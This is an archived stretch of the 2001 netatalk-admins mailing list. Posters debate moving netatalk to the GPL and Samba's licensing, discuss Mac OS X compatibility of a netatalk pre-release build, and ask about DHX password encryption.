Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA09792
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 11:11:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03488
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 11:11:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03470
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 11:11:19 -0500 (EST)
Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA03440
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 11:11:18 -0500 (EST)
Received: from adsl-242-15.ns.itd.umich.edu (adsl-242-15.ns.itd.umich.edu [141.213.242.15])
	by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id LAA04195; Wed, 28 Mar 2001 11:07:27 -0500 (EST)
From: wes@umich.edu
Date: Wed, 28 Mar 2001 11:07:31 -0500
To: a sun <a.sun@sun.com>
cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] Another reason to go GPL
Message-ID: <6095642.3194766451@adsl-242-15.ns.itd.umich.edu>
In-Reply-To: <200103280549.VAA05026@asun.cobalt.com>
X-Mailer: Mulberry/2.0.6 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--On Tuesday, March 27, 2001 9:49 PM -0800 a sun <a.sun@sun.com> wrote:
> the issue with the samba locking code is very different as they don't
> provide standard api's that we can call without becoming
> GPL-encumbered. that's their decision. of course, we could always
> re-implement the samba locking scheme ourselves, but that would be a
> lot of duplication of effort to avoid a license change.


Also, according to the samba home page, they are planning to rewrite the
locking code.  Perhaps they would be willing to make it LGPL, and provide
well a documented API.

:wes


From netatalk.administrators-errors@umich.edu  Wed Mar 28 11:13:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA09926
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 11:13:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25586
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 11:13:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25559
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 11:13:11 -0500 (EST)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA23670
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 11:13:10 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f2SGBjU00107;
	Wed, 28 Mar 2001 10:11:45 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 28 Mar 2001 10:10:51 -0600
Subject: Re: Another reason to go GPL 
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Message-ID: <B6E7692A.131D8%bucky@interaccess.com>
In-Reply-To: <E14iGXg-0000GZ-00@localhost.localdomain>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> From: Jeffry Smith <smith@missioncriticallinux.com>
> Date: Wed, 28 Mar 2001 09:03:19 -0500
> 
> Be aware that GNU/FSF != GPL.  Linux is under a GPL license, but the code is
> NOT GNU controlled.  Samba is under the GPL, but is NOT GNU controlled.  GPL
> does NOT require any loss of copyright control to the FSF, unless you
> specifically grant them the rights (which they require for GNU projects).

While this is true, it's not what prompted my earlier posting. GPL doesn't
require loss of copyright control to the FSF: true. But, once GPL code from
another author is incorporated in a project, a copyright owner who wishes to
exercise any of his ownership rights is obligated to excise the code he
didn't write. This obligation doesn't exist in the BSD license. Each
iteration of a GPL project progressively entangles an author's copyright in
this manner.

Sorry, Matthew, for posting again on this. I'll now drop it, as you asked.

-B...


From netatalk.administrators-errors@umich.edu  Wed Mar 28 11:31:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA10613
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 11:31:54 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14097
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 11:31:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA14046
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 11:31:45 -0500 (EST)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA13985
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 11:31:43 -0500 (EST)
Received: from localhost (wallace.daemonize.com [10.77.1.3])
	by gromit.daemonize.com (8.9.3/8.9.2) with ESMTP id IAA14028
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 08:31:45 -0800
Message-Id: <200103281631.IAA14028@gromit.daemonize.com>
Date: Wed, 28 Mar 2001 08:31:39 -0800
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Paul Krohn <pkrohn@daemonize.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <200103280323.TAA07153@gromit.daemonize.com>
Subject: Re: Mac OS X and netatalk...
Content-Transfer-Encoding: 7bit


On Tuesday, March 27, 2001, at 07:23 PM, Paul Krohn wrote:

> i think it is unlikely that this is a server problem. perhaps some 
> things which were forgiven in the past no longer are?

sheesh. let's hear it for proof reading: i meant i don't think it's a 
_client_ problem.

From netatalk.administrators-errors@umich.edu  Wed Mar 28 12:12:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11336
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 12:12:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA20445
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 12:12:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18885
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 12:10:05 -0500 (EST)
Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA17262
	for <Netatalk-Admins@umich.edu>; Wed, 28 Mar 2001 12:09:33 -0500 (EST)
Received: from squirrel (squirrel.bio.brandeis.edu [129.64.50.7])
	by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.0) with ESMTP id MAA18452;
	Wed, 28 Mar 2001 12:08:16 -0500
Date: Wed, 28 Mar 2001 12:08:16 -0500 (EST)
From: Steven Karel <karelsf@brandeis.edu>
X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Marcus Radich <marcus@darena.co.nz>
cc: <Netatalk-Admins@umich.edu>
Subject: Re: Mac OS X and netatalk...
In-Reply-To: <p05100900b6e6b0e6df42@[192.168.1.112]>
Message-ID: <Pine.LNX.4.30.0103281148510.1947-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

1. Just wanted to concur with Marcus that netatalk-1.4b2+asun2.1.4-pre37b
works fine with the appleshare client in OS X 10.0,.whereas the public
beta failed horribly . Not all versions of netatalk are that well behaved,
however. I haven't tested exhaustively, but I do know that 37b works on at
least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 1.4b2-2.1.3
seems to work as well.

2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
purpose, although it may help with file locking for other reasons. Marcus,
if you could be so kind, can you explain for us again what problems it
solves, and where exactly you recommend setting it? (I added
-DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)

README.ASUN says:


	byte locks should now work. if you want to enable the old way
        of doing things, add -DUSE_FLOCK_LOCKS.



thanks,

stevne

 On Wed, 28
Mar 2001, Marcus Radich wrote:

>
> BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
> long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
> before you compile. I haven't tried 1.5. You can only connect via IP
> (great!) and transferring files large and small has worked for me
> since 4K46
>
> mrad01
>


From netatalk.administrators-errors@umich.edu  Wed Mar 28 12:16:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11571
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 12:16:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA28318
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 12:16:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA22481
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 12:15:22 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA15271
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 12:02:16 -0500 (EST)
Received: (qmail 5023 invoked by alias); 28 Mar 2001 17:01:09 -0000
Received: (qmail 5010 invoked by uid 0); 28 Mar 2001 17:01:09 -0000
Received: from comp10574.potsdam.edu (HELO mail.potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 28 Mar 2001 17:01:09 -0000
Date: Wed, 28 Mar 2001 12:01:00 -0500
From: Matthew Keller <kellermg@potsdam.edu>
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Another reason to go GPL
Message-ID: <20010328120100.I2675@comp10574.potsdam.edu>
References: <E14iGXg-0000GZ-00@localhost.localdomain> <B6E7692A.131D8%bucky@interaccess.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B6E7692A.131D8%bucky@interaccess.com>; from bucky@interaccess.com on Wed, Mar 28, 2001 at 11:10:51 -0500
X-Mailer: Balsa 1.1.2
Lines: 39


On 2001.03.28 11:10:51 -0500 "Bruce A. Burdick, Jr." wrote:
> But, once GPL code from another author is incorporated in a project, 
> a copyright owner who wishes to
> exercise any of his ownership rights is obligated to excise the code he
> didn't write. This obligation doesn't exist in the BSD license. Each
> iteration of a GPL project progressively entangles an author's copyright
> in this manner.

	I think "excise" is a little harsh. GPL'd code I've written has
been incorporated into numerous projects that I've never even participated
in - And I think that's great. I don't want to control WHO or WHAT can use
my code - I just want to know that if anyone DOES use it, they are
obligated to use it within other free projects, and contribute any
improvements they've made. The code I've written under contract for
Netatalk (and thusly is closed) could rocket Netatalk quite far.
Unfortunately, most companies are lazy. If they don't HAVE to contribute
improvements, they won't. They'll keep them close and never let them out
(see the netatalk-devel archives on Sourceforge for more on that topic, I
don't want to rehash this again on this list).

> Sorry, Matthew, for posting again on this. I'll now drop it, as you
> asked.

	I never asked for this issue to be dropped - We **NEED** to discuss
this. We **NEED** for everyone, pro/con/neutral, to not only understand the
differences between these licenses, but understand the ramifications of any
change as it pertains to Netatalk. I will NEVER ask you to drop it- I may
correct your misstatements or misunderstandings to prevent the spread of
FUD, but I'll never ask you to cease (and if I did/do, you have my
permission to slap me :)
-- 
Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Mar 28 14:32:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA16352
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 14:32:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16262
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 14:32:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15897
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 14:32:11 -0500 (EST)
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA15405; Wed, 28 Mar 2001 14:31:40 -0500 (EST)
Received: from hsmtv32a.SFBay.Sun.COM ([129.145.120.36])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA05136;
	Wed, 28 Mar 2001 11:31:03 -0800 (PST)
Received: from asun.cobalt.com (natbox [129.145.120.47])
	by hsmtv32a.SFBay.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA24615;
	Wed, 28 Mar 2001 11:31:03 -0800 (PST)
Received: (from asun@localhost)
	by asun.cobalt.com (8.9.3/8.9.3) id LAA09778;
	Wed, 28 Mar 2001 11:31:03 -0800
Date: Wed, 28 Mar 2001 11:31:03 -0800
Message-Id: <200103281931.LAA09778@asun.cobalt.com>
From: a sun <a.sun@sun.com>
To: wes@umich.edu
CC: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
In-reply-to: <6095642.3194766451@adsl-242-15.ns.itd.umich.edu> (wes@umich.edu)
Subject: Re: [Netatalk-devel] Another reason to go GPL
References:  <6095642.3194766451@adsl-242-15.ns.itd.umich.edu>

   Also, according to the samba home page, they are planning to rewrite the
   locking code.  Perhaps they would be willing to make it LGPL, and provide
   well a documented API.

unfortunately, jeremy has repeatedly stated to me that samba will
not LGPL any of its code.

-a

From netatalk.administrators-errors@umich.edu  Wed Mar 28 14:48:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA16780
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 14:48:29 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04784
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 14:48:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04738
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 14:48:17 -0500 (EST)
Received: from esc.standard.k12.ca.us (206-227-4-172.kern.org [206.227.4.172])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04679
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 14:48:15 -0500 (EST)
Received: from [10.1.1.23] ([10.1.1.23])
	by esc.standard.k12.ca.us (8.10.2/8.10.2) with ESMTP id f2SJm6G14274
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 11:48:06 -0800
Mime-Version: 1.0
X-Sender: jdavis@esc.standard.k12.ca.us (Unverified)
Message-Id: <a05010402b6e7efb1c2ef@[10.1.1.23]>
Date: Wed, 28 Mar 2001 11:46:56 -0800
To: Netatalk Admin <netatalk-admins@umich.edu>
From: Jeff Davis <jdavis@standard.k12.ca.us>
Subject: dhx password encryption - how?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I am having all kinds of problems getting dhx encryption to load, 
despite uncommenting the line in netatalk.conf, as well as adding the 
uams options in afpd.conf.  What am I doing wrong here?
-- 


Jefferson K. Davis
Technology & IS Manager
Standard School District
1200 North Chester Ave
Bakersfield, CA  93308
661-392-2110

From netatalk.administrators-errors@umich.edu  Wed Mar 28 14:57:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17237
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 14:57:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16550
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 14:57:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16516
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 14:57:27 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA16492
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 14:57:25 -0500 (EST)
Received: (qmail 9568 invoked by uid 500); 28 Mar 2001 19:57:15 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 28 Mar 2001 19:57:15 -0000
Date: Wed, 28 Mar 2001 13:57:15 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: a sun <a.sun@sun.com>
cc: <wes@umich.edu>, <netatalk-devel@lists.sourceforge.net>,
        <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] Another reason to go GPL
In-Reply-To: <200103281931.LAA09778@asun.cobalt.com>
Message-ID: <Pine.LNX.4.30.0103281355090.9545-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Yo, Adrian! Sorry...I couldn't help myself.

What Netatalk package is currently being used in the Cobalt Qubes?
Anything that is freely distributable to the Unix crowd?

Thanks.
-Dan

On Wed, 28 Mar 2001, a sun wrote:

>    Also, according to the samba home page, they are planning to rewrite the
>    locking code.  Perhaps they would be willing to make it LGPL, and provide
>    well a documented API.
>
> unfortunately, jeremy has repeatedly stated to me that samba will
> not LGPL any of its code.
>
> -a
>
>



From netatalk.administrators-errors@umich.edu  Wed Mar 28 14:59:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA17546
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 14:59:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19712
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 14:59:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA19684
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 14:59:49 -0500 (EST)
Received: from dusty.interaccess.com (notdusty.ops.interaccess.com [198.80.68.58])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA19317
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 14:59:47 -0500 (EST)
Received: from [10.1.1.118] (ip-64-63-84-208.reverse.mobilenetics.com [64.63.84.208]) by dusty.interaccess.com (8.8.5/8.8.2) with ESMTP id OAA26382; Wed, 28 Mar 2001 14:06:17 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 28 Mar 2001 13:58:31 -0600
Subject: Re: [Netatalk-devel] Re: Another reason to go GPL
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>, <netatalk-devel@lists.sourceforge.net>
Message-ID: <B6E79E66.131ED%bucky@interaccess.com>
In-Reply-To: <20010328120100.I2675@comp10574.potsdam.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> From: Matthew Keller <kellermg@potsdam.edu>
> Date: Wed, 28 Mar 2001 12:01:00 -0500
> 
>> Sorry, Matthew, for posting again on this. I'll now drop it, as you
>> asked.
> 
> I never asked for this issue to be dropped - We **NEED** to discuss
> this. We **NEED** for everyone, pro/con/neutral, to not only understand the
> differences between these licenses, but understand the ramifications of any
> change as it pertains to Netatalk. I will NEVER ask you to drop it- I may
> correct your misstatements or misunderstandings to prevent the spread of
> FUD, but I'll never ask you to cease (and if I did/do, you have my
> permission to slap me :)

My fault. Bad choice of words. I misinterpreted you: I thought you were
implying that the discussion had raged and ended on devel list.

Your points have been well-taken. And as you are a principal player in
netatalk's development, you _must_ have much more say than I (a gregarious
user of netatalk), and _your_ desires must be reflected in the license you
all choose. And I have to admit that your stated desires are better
accommodated by the GPL. I was directing my comments toward the foundations
of those desires. I was also concerned, given the comments of others, that
the GPL was going to be adopted in Grand Lemming Style (i.e. because
"everyone else is doing it"). You have obviously thought about what the
license decision will mean to you. In my view, only those who have done that
mental work should determine what license you (collectively, now) choose.
For those of you have done that I hope you will be able (or have been able)
to persuade any stragglers to properly weigh these considerations. I'm glad
we agree that this is an important issue.

-B...


From netatalk.administrators-errors@umich.edu  Wed Mar 28 16:41:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA23384
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 16:41:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA14967
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 16:41:38 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA14938
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 16:41:37 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA14858
	for <netatalk-admins@umich.edu>; Wed, 28 Mar 2001 16:41:35 -0500 (EST)
Received: (qmail 20797 invoked by alias); 28 Mar 2001 21:41:40 -0000
Received: (qmail 20685 invoked by uid 0); 28 Mar 2001 21:41:32 -0000
Received: from comp10574.potsdam.edu (HELO mail.potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 28 Mar 2001 21:41:32 -0000
Date: Wed, 28 Mar 2001 16:41:23 -0500
From: Matthew Keller <kellermg@potsdam.edu>
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: [Netatalk-devel] Re: Another reason to go GPL
Message-ID: <20010328164123.C2675@comp10574.potsdam.edu>
References: <20010328120100.I2675@comp10574.potsdam.edu> <B6E79E66.131ED%bucky@interaccess.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B6E79E66.131ED%bucky@interaccess.com>; from bucky@interaccess.com on Wed, Mar 28, 2001 at 14:58:31 -0500
X-Mailer: Balsa 1.1.2
Lines: 52


On 2001.03.28 14:58:31 -0500 "Bruce A. Burdick, Jr." wrote:
> My fault. Bad choice of words. I misinterpreted you: I thought you were
> implying that the discussion had raged and ended on devel list.

	No problem - My only statement regarding the lists was that I
didn't want to have to re-state everything we just spent a month or two
discussing on the Netatalk-devel list. ALWAYS happy to hear new comments,
opinions, and engage in productive, rational discussions.

> Your points have been well-taken. And as you are a principal player in
> netatalk's development, you _must_ have much more say than I (a
> gregarious user of netatalk), and _your_ desires must be reflected in 
> the license you all choose. 

	Let's reword "a principal player" to "hopefully a future principle
player". I have a lot of code I'd like to see in Netatalk - some of it
wholesale stolen from Samba, some of it that I've written previously and
could/have already convinced the money-people that "own" it to allow me to
release if Netatalk GPL's - But I quite honestly have nothing but bugfixes
in the present tree. My time and energies are directed elsewhere at this
time. 

> I was also concerned, given the comments of others,
> that the GPL was going to be adopted in Grand Lemming Style (i.e. because
> "everyone else is doing it").

	Yes, I will freely admit that this is always a concern - I have
clients who want to jump in and GPL all of their code and I have to sit
down with them and slow things down: Educate them as to the ramifications,
etc. - We also have Netatalk constituents who want to GPL the code for the
wrong reasons (or no reason at all, other than "getting locking from Samba"
(which is only one of many benefits of GPLing this project).

> I'm glad we agree that this is an important issue.

	As am I! I am working very hard at ensuring that no one gets left
in the dust over any switch we make (unless they are simply too arrogant to
even HAVE GPL'd code/binaries on their system because of irrational distate
- And yes, sadly enough, these people do exist), and also working EQUALLY
hard to make sure that not only do we switch - if we switch - for the
"right reasons", but that everyone understands what they are (whether they
agree with them or not. ;)

-- 
Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Wed Mar 28 18:52:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA27642
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 18:52:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA13907
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Mar 2001 18:52:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA13895
	for netatalk.administrators-members@umich.edu; Wed, 28 Mar 2001 18:52:40 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.88])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA13864
	for <Netatalk-Admins@umich.edu>; Wed, 28 Mar 2001 18:52:38 -0500 (EST)
Received: by smtpout.mac.com; Wed, 28 Mar 2001 15:51:53 -0800 (PST)
Message-Id: <200103282351.PAA16397@smtpout.mac.com>
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15) with ESMTP
          id GAXMAH00.EKG for <Netatalk-Admins@umich.edu>; Wed, 28 Mar
          2001 15:51:53 -0800 
Received: from localhost ([213.97.106.73]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15) with ESMTP id GAXMAG00.R11;
          Wed, 28 Mar 2001 15:51:52 -0800 
Date: Thu, 29 Mar 2001 01:51:46 +0200
From: Jason Quigley <jasonq@mac.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Mac OS X and netatalk...
Cc: Marcus Radich <marcus@darena.co.nz>, <Netatalk-Admins@umich.edu>
To: Steven Karel <karelsf@brandeis.edu>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <Pine.LNX.4.30.0103281148510.1947-100000@squirrel.bio.brandeis.edu>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit

Hi Steven!

Where do we get the source for this beast?

Many thanks,
Jason.


On Wednesday, March 28, 2001, at 07:08  pm, Steven Karel wrote:

> 1. Just wanted to concur with Marcus that 
> netatalk-1.4b2+asun2.1.4-pre37b

From netatalk.administrators-errors@umich.edu  Wed Mar 28 19:03:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA27914
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Mar 2001 19:03:07 -0500 (EST)
